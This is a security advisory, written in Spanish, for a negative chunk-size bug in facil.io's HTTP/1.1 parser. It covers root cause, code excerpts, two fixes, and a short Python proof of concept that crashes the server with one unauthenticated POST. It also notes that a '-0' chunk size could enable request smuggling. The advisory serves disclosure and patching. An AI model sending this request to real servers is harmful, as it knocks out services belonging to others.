
Aviso de seguridad para CVE-2026-66731 con análisis de causa raíz, exploit PoC y sugerencias de corrección para el error del analizador de codificación por fragmentos (chunked) HTTP/1.1 de facil.io.
ID de CVE asignado: CVE-2026-66731
Producto: facil.io
Versiones afectadas: facil.io >= 0.7.5 (0.7.5, 0.7.6, master); introducido cuando el parser HTTP/1.1 de 0.8.x se retroportó en 0.7.5 - no presente en 0.6.x ni 0.7.0–0.7.3
Componente: lib/facil/http/parsers/http1_parser.h
CWE: CWE-20 (Validación de Entrada Incorrecta), CWE-682 (Cálculo Incorrecto), CWE-125 (Lectura Fuera de Límites)
CVSS v3.1: 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Investigador: Theodosis Paidakis
El parser de codificación de transferencia fragmentada (chunked) acepta un signo menos inicial en los valores de tamaño de fragmento. http1_atol16 devuelve un long long negativo para entradas como -FFFFFF. El parser almacena 0 - chunk_len en content_length como un centinela para «dentro de un fragmento». Cuando chunk_len es negativo, esa resta produce un valor positivo grande, corrompiendo la máquina de estados. Un cálculo posterior de puntero mueve el puntero de lectura millones de bytes antes del búfer de entrada, hacia memoria no mapeada, provocando el cierre del proceso. Una única solicitud POST no autenticada es suficiente.
Paso 1: http1_atol16 acepta un signo menos inicial
lib/facil/http/parsers/http1_parser.h, líneas 316-346
// lib/facil/http/parsers/http1_parser.h:316-346
static long long http1_atol16(const uint8_t *buf, const uint8_t **end) {
register unsigned long long i = 0;
uint8_t inv = 0;
for (int limit_ = 0; (*buf == '-' || *buf == '+') && limit_ < 32; ++limit_)
inv ^= (*(buf++) == '-'); // line 323: accepts '-', sets inv=1
/* ... parse hex digits into i ... */
if (inv)
i = 0ULL - i; // line 341: two's-complement negation
return i; // returns negative long long
}
La entrada -FFFFFF\r\n produce chunk_len = -16777215LL. La sección 4.1 de RFC 7230 especifica los tamaños de fragmento como enteros hexadecimales no negativos. Un signo menos inicial no es válido.
Paso 2: Corrupción de la máquina de estados
lib/facil/http/parsers/http1_parser.h, líneas 681-690
// lib/facil/http/parsers/http1_parser.h:681-690
long long chunk_len = http1_atol16(end, (const uint8_t **)&end); // line 681: = -16777215
// ...
parser->state.content_length = 0 - chunk_len; // line 688: = 0 - (-16777215) = +16777215
El parser usa un content_length negativo como centinela que significa «leyendo actualmente el cuerpo del fragmento». Con un content_length positivo de +16777215, la máquina de estados cree que está leyendo un cuerpo normal (no fragmentado) de 16 MB.
Paso 3: El puntero retrocede hacia memoria no mapeada
En la siguiente iteración, el parser calcula:
// lib/facil/http/parsers/http1_parser.h (~line 726)
end = *start + (0 - parser->state.content_length);
// = *start + (0 - 16777215)
// = *start - 16777215 <-- 16 MB before the input buffer
La lectura desde esa dirección falla.
Inicie el servidor y luego ejecute:
# poc_chunked_negative_size.py
import socket
req = (
b"POST / HTTP/1.1\r\n"
b"Host: 127.0.0.1\r\n"
b"Transfer-Encoding: chunked\r\n"
b"Connection: close\r\n"
b"\r\n"
b"-FFFFFF\r\n" # negative hex chunk size
b"data\r\n"
b"0\r\n\r\n"
)
s = socket.socket()
s.settimeout(3)
s.connect(("127.0.0.1", 3000))
s.sendall(req)
try:
print(s.recv(4096))
print("check server")
except:
print("check server")
Salida de ASAN (confirmada):
AddressSanitizer: BUS at http1_parser.h:674
x[0] = 0xffffffffff000001 // pointer 16 MB before start
Efecto según el tamaño de fragmento enviado:
| Chunk size | content_length after corruption | Outcome |
|---|---|---|
-0 | 0 | Body silently skipped; server survives |
-1 | +1 | Pointer 1 byte before start |
-FFFFFF | +16777215 | Pointer 16 MB before start; crash |
-7FFFFFFF | +2147483647 | Pointer 2 GB before start; crash |
Nota: el caso -0 (0 - 0 = 0) alcanza la rama «cuerpo fragmentado completo» y el servidor sobrevive, pero acepta la solicitud como si tuviera un cuerpo vacío independientemente de los datos que sigan. Esto puede funcionar como una primitiva de contrabando de solicitudes (request smuggling) en implementaciones con proxy donde el front-end analiza la codificación fragmentada de manera diferente.
Una única solicitud no autenticada Transfer-Encoding: chunked con un tamaño de fragmento negativo bloquea el servidor. Cualquier aplicación que acepte HTTP/1.1 se ve afectada; la codificación fragmentada es una característica principal del protocolo y no requiere configuración a nivel de aplicación.
Cualquiera de los dos enfoques es suficiente. Se prefiere la Corrección 1.
Corrección 1: rechazar el signo menos inicial en http1_atol16
lib/facil/http/parsers/http1_parser.h, línea 322
// lib/facil/http/parsers/http1_parser.h:322 -- remove the sign loop for hex parsing
// Remove lines 322-323 entirely, or replace with:
if (*buf == '-' || *buf == '+') { if (end) *end = buf; return -1; }
Corrección 2: validar chunk_len antes de usarlo
lib/facil/http/parsers/http1_parser.h, línea 681
// lib/facil/http/parsers/http1_parser.h:681
long long chunk_len = http1_atol16(end, (const uint8_t **)&end);
if (chunk_len < 0) return -1; // reject negative chunk sizes
parser->state.content_length = 0 - chunk_len;
El commit 53caca31 ("Fix atol16 to fix chunked length calculation", dic. 2019) corrigió la condición del bucle de detección de desbordamiento pero mantuvo el código de manejo de signos. El commit fe847cdf ("fix HTTP/1.1 parser against smuggling attack", may. 2020) abordó los conflictos TE/CL (cuando están presentes tanto Transfer-Encoding como Content-Length). Ninguno cubre los tamaños de fragmento negativos.